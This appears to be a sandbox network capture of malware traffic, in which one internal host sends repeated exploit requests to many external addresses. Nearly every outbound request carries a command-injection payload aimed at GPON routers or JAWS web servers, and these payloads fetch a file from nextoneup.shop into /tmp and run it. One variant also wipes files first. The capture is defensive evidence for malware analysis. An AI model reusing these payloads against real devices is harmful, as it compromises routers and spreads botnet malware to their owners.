Apr 14, 2024 04:00:42.453356028 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1350	192.168.2.23	37112	37.136.255.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:42.453403950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1351	192.168.2.23	47452	94.61.160.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:42.453448057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1352	192.168.2.23	43052	2.249.145.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:42.453500986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1353	192.168.2.23	37382	79.206.195.33	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:42.453551054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1354	192.168.2.23	43860	4.157.111.173	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:42.702590942 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:42.946396112 CEST	473	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Date: Sun, 14 Apr 2024 02:00:42 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1355	192.168.2.23	46716	210.35.251.113	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.097613096 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1356	192.168.2.23	45292	13.246.202.178	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.164915085 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:43.626976013 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:43 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1357	192.168.2.23	35940	154.12.40.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.661950111 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:44.581618071 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:45.637553930 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:47.941157103 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.292607069 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:00.739461899 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.912920952 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:53.727986097 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1358	192.168.2.23	59322	23.47.11.175	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.725419998 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:43.959216118 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:43 GMT Date: Sun, 14 Apr 2024 02:00:43 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 37 39 36 32 61 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 33 26 23 34 36 3b 31 64 64 61 66 32 61 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 37 39 36 32 61 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 33 26 23 34 36 3b 31 64 64 61 66 32 61 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.27962a17.1713060043.1ddaf2a7<P>https://errors.edgesuite.net/9.27962a17.1713060043.1ddaf2a7</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1359	192.168.2.23	35962	54.208.8.112	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.725570917 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1360	192.168.2.23	56206	66.35.101.164	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.725940943 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1361	192.168.2.23	58748	160.251.73.209	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.776595116 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:44.061551094 CEST	409	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:43 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1362	192.168.2.23	34160	178.32.103.195	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.796549082 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:44.102324963 CEST	220	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:00:43 GMT Server: Apache Content-Length: 9 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 46 6f 72 62 69 64 64 65 6e Data Ascii: Forbidden

Session ID	Source IP	Source Port	Destination IP	Destination Port
1363	192.168.2.23	45446	4.208.223.228	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.805874109 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1364	192.168.2.23	58134	207.154.220.36	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.808598995 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:44.125119925 CEST	475	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:00:43 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://inspection.dockingpro.com/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1365	192.168.2.23	48150	142.132.174.5	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.968240976 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:44.310071945 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:44 GMT Server: Apache/2.4.57 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.57 (Debian) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1366	192.168.2.23	51980	18.172.4.85	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:44.007160902 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:44.385126114 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:44 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1367	192.168.2.23	39480	38.63.155.43	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:44.560138941 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:44.826239109 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:44 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1368	192.168.2.23	49274	38.239.145.229	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:44.879019976 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1369	192.168.2.23	54442	211.109.1.139	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:44.895648003 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:45.232609987 CEST	1029	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:45 GMT Content-Length: 831 Content-Type: text/html Connection: Keep-Alive Keep-Alive: timeout=10 Via: STON Edge Server/2.9.0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 53 54 4f 4e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 20 2a 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 20 63 6f 6c 6f 72 3a 20 23 36 35 36 35 36 35 3b 20 09 7d 23 73 74 6f 6e 6f 75 74 6c 69 6e 65 20 7b 20 77 69 64 74 68 3a 20 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 36 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 36 30 70 78 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 3b 20 7d 23 73 74 6f 6e 62 6f 78 6f 75 74 6c 69 6e 65 20 7b 20 77 69 64 74 68 3a 20 36 30 30 70 78 3b 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 30 30 30 30 30 30 3b 20 7d 23 73 74 6f 6e 62 6f 78 68 65 61 64 65 72 20 7b 20 77 69 64 74 68 3a 20 36 30 30 70 78 3b 